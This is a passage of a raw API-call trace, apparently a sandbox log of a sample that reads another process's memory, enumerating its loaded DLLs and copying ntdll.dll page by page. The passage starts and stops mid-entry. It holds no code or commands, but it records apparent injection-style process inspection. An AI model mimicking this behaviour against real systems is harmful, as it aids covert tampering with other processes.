NumberOfBytesToRead=0x3e, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3e) returned 0x0 [0044.430] StrRChrA (lpStart="C:\\Windows\\syswow64\\SspiCli.dll", lpEnd=0x0, wMatch=0x5c) returned="\\SspiCli.dll" [0044.430] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce660, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.430] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce610, Buffer=0x986faf0, NumberOfBytesToRead=0x42, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x42) returned 0x0 [0044.430] StrRChrA (lpStart="C:\\Windows\\syswow64\\CRYPTBASE.dll", lpEnd=0x0, wMatch=0x5c) returned="\\CRYPTBASE.dll" [0044.430] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce728, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.430] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce6e0, Buffer=0x986faf0, NumberOfBytesToRead=0x3a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3a) returned 0x0 [0044.430] StrRChrA (lpStart="C:\\Windows\\syswow64\\GDI32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\GDI32.dll" [0044.430] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce7f0, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.430] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce7a8, Buffer=0x986faf0, NumberOfBytesToRead=0x3c, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3c) returned 0x0 [0044.430] StrRChrA (lpStart="C:\\Windows\\syswow64\\USER32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\USER32.dll" [0044.430] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce8b0, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.430] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce870, Buffer=0x986faf0, NumberOfBytesToRead=0x36, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x36) returned 0x0 [0044.430] StrRChrA (lpStart="C:\\Windows\\syswow64\\LPK.dll", lpEnd=0x0, wMatch=0x5c) returned="\\LPK.dll" [0044.430] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce978, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.430] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce930, Buffer=0x986faf0, NumberOfBytesToRead=0x3a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3a) returned 0x0 [0044.431] StrRChrA (lpStart="C:\\Windows\\syswow64\\USP10.dll", lpEnd=0x0, wMatch=0x5c) returned="\\USP10.dll" [0044.431] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cea40, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.431] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce9f8, Buffer=0x986faf0, NumberOfBytesToRead=0x3e, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3e) returned 0x0 [0044.431] StrRChrA (lpStart="C:\\Windows\\syswow64\\SHLWAPI.dll", lpEnd=0x0, wMatch=0x5c) returned="\\SHLWAPI.dll" [0044.431] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cef08, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.431] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ceec0, Buffer=0x986faf0, NumberOfBytesToRead=0x3e, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3e) returned 0x0 [0044.431] StrRChrA (lpStart="C:\\Windows\\syswow64\\SHELL32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\SHELL32.dll" [0044.431] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cefd0, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.431] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cef88, Buffer=0x986faf0, NumberOfBytesToRead=0x3a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3a) returned 0x0 [0044.431] StrRChrA (lpStart="C:\\Windows\\syswow64\\ole32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ole32.dll" [0044.431] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf0b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.431] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf050, Buffer=0x986faf0, NumberOfBytesToRead=0x40, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x40) returned 0x0 [0044.431] StrRChrA (lpStart="C:\\Windows\\syswow64\\OLEAUT32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\OLEAUT32.dll" [0044.431] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf138, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.431] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1350, Buffer=0x986faf0, NumberOfBytesToRead=0x4a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x4a) returned 0x0 [0044.431] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\EXPLORERFRAME.dll", lpEnd=0x0, wMatch=0x5c) returned="\\EXPLORERFRAME.dll" [0044.431] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf1b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.431] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d13a8, Buffer=0x986faf0, NumberOfBytesToRead=0x3a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3a) returned 0x0 [0044.432] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\DUser.dll", lpEnd=0x0, wMatch=0x5c) returned="\\DUser.dll" [0044.432] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf238, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.432] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d17f0, Buffer=0x986faf0, NumberOfBytesToRead=0x3a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3a) returned 0x0 [0044.432] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\DUI70.dll", lpEnd=0x0, wMatch=0x5c) returned="\\DUI70.dll" [0044.432] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf2b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.432] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1910, Buffer=0x986faf0, NumberOfBytesToRead=0x3a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3a) returned 0x0 [0044.432] StrRChrA (lpStart="C:\\Windows\\syswow64\\IMM32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\IMM32.dll" [0044.432] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf338, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.432] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1d78, Buffer=0x986faf0, NumberOfBytesToRead=0x3a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3a) returned 0x0 [0044.432] StrRChrA (lpStart="C:\\Windows\\syswow64\\MSCTF.dll", lpEnd=0x0, wMatch=0x5c) returned="\\MSCTF.dll" [0044.432] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf3b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.432] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1dc0, Buffer=0x986faf0, NumberOfBytesToRead=0x3e, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3e) returned 0x0 [0044.432] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\UxTheme.dll", lpEnd=0x0, wMatch=0x5c) returned="\\UxTheme.dll" [0044.432] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf438, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.432] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d2f88, Buffer=0x986faf0, NumberOfBytesToRead=0x40, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x40) returned 0x0 [0044.432] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\POWRPROF.dll", lpEnd=0x0, wMatch=0x5c) returned="\\POWRPROF.dll" [0044.432] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf4b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.432] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1958, Buffer=0x986faf0, NumberOfBytesToRead=0x40, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x40) returned 0x0 [0044.432] StrRChrA (lpStart="C:\\Windows\\syswow64\\SETUPAPI.dll", lpEnd=0x0, wMatch=0x5c) returned="\\SETUPAPI.dll" [0044.433] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf538, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.433] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d19a8, Buffer=0x986faf0, NumberOfBytesToRead=0x40, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x40) returned 0x0 [0044.433] StrRChrA (lpStart="C:\\Windows\\syswow64\\CFGMGR32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\CFGMGR32.dll" [0044.433] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf5b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.433] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1e08, Buffer=0x986faf0, NumberOfBytesToRead=0x3c, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3c) returned 0x0 [0044.433] StrRChrA (lpStart="C:\\Windows\\syswow64\\DEVOBJ.dll", lpEnd=0x0, wMatch=0x5c) returned="\\DEVOBJ.dll" [0044.433] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf638, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.433] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1e50, Buffer=0x986faf0, NumberOfBytesToRead=0x3c, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3c) returned 0x0 [0044.433] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\dwmapi.dll", lpEnd=0x0, wMatch=0x5c) returned="\\dwmapi.dll" [0044.433] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf6b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.433] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d2dd0, Buffer=0x986faf0, NumberOfBytesToRead=0x36, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x36) returned 0x0 [0044.433] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\slc.dll", lpEnd=0x0, wMatch=0x5c) returned="\\slc.dll" [0044.433] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf738, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.433] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d3600, Buffer=0x986faf0, NumberOfBytesToRead=0xe2, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0xe2) returned 0x0 [0044.433] StrRChrA (lpStart="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll", lpEnd=0x0, wMatch=0x5c) returned="\\gdiplus.dll" [0044.433] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf7b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.433] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1e98, Buffer=0x986faf0, NumberOfBytesToRead=0x3e, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3e) returned 0x0 [0044.434] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\Secur32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\Secur32.dll" [0044.434] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf838, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.434] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1ee0, Buffer=0x986faf0, NumberOfBytesToRead=0x3e, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3e) returned 0x0 [0044.434] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\PROPSYS.dll", lpEnd=0x0, wMatch=0x5c) returned="\\PROPSYS.dll" [0044.434] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x986faf0 | out: hHeap=0x9770000) returned 1 [0044.434] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x986fd00 | out: hHeap=0x9770000) returned 1 [0044.434] lstrcmpiA (lpString1="explorer.exe", lpString2="NTDLL.DLL") returned -1 [0044.434] StrChrA (lpStart="explorer.exe", wMatch=0x2e) returned=".exe" [0044.434] lstrcmpiA (lpString1="explorer", lpString2="NTDLL.DLL") returned -1 [0044.434] lstrcmpiA (lpString1="ntdll.dll", lpString2="NTDLL.DLL") returned 0 [0044.434] VirtualFree (lpAddress=0x4070000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0044.434] VirtualAlloc (lpAddress=0x0, dwSize=0x180000, flAllocationType=0x3000, flProtect=0x4) returned 0x9ca0000 [0044.435] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77340000, Buffer=0x9ca0000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca0000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.435] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77341000, Buffer=0x9ca1000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca1000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.435] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77342000, Buffer=0x9ca2000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca2000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.435] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77343000, Buffer=0x9ca3000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca3000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.435] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77344000, Buffer=0x9ca4000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca4000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.435] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77345000, Buffer=0x9ca5000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca5000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.435] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77346000, Buffer=0x9ca6000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca6000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.436] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77347000, Buffer=0x9ca7000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca7000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.436] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77348000, Buffer=0x9ca8000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca8000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.436] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77349000, Buffer=0x9ca9000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca9000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.436] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7734a000, Buffer=0x9caa000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9caa000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.436] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7734b000, Buffer=0x9cab000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cab000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.436] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7734c000, Buffer=0x9cac000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cac000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.436] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7734d000, Buffer=0x9cad000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cad000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.436] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7734e000, Buffer=0x9cae000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cae000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.436] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7734f000, Buffer=0x9caf000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9caf000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.436] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77350000, Buffer=0x9cb0000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb0000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.437] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77351000, Buffer=0x9cb1000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb1000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.437] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77352000, Buffer=0x9cb2000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb2000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.437] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77353000, Buffer=0x9cb3000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb3000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.437] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77354000, Buffer=0x9cb4000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb4000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.437] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77355000, Buffer=0x9cb5000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb5000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.437] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77356000, Buffer=0x9cb6000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb6000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.437] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77357000, Buffer=0x9cb7000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb7000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.438] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77358000, Buffer=0x9cb8000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb8000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.438] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77359000, Buffer=0x9cb9000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb9000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.438] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7735a000, Buffer=0x9cba000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cba000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.438] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7735b000, Buffer=0x9cbb000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cbb000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.438] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7735c000, Buffer=0x9cbc000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cbc000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.438] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7735d000, Buffer=0x9cbd000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cbd000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.438] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7735e000, Buffer=0x9cbe000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cbe000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.439] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7735f000, Buffer=0x9cbf000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cbf000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.439] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77360000, Buffer=0x9cc0000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc0000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.439] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77361000, Buffer=0x9cc1000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc1000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.439] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77362000, Buffer=0x9cc2000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc2000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.439] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77363000, Buffer=0x9cc3000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc3000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.439] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77364000, Buffer=0x9cc4000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc4000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.439] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77365000, Buffer=0x9cc5000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc5000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.440] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77366000, Buffer=0x9cc6000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc6000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.440] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77367000, Buffer=0x9cc7000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: 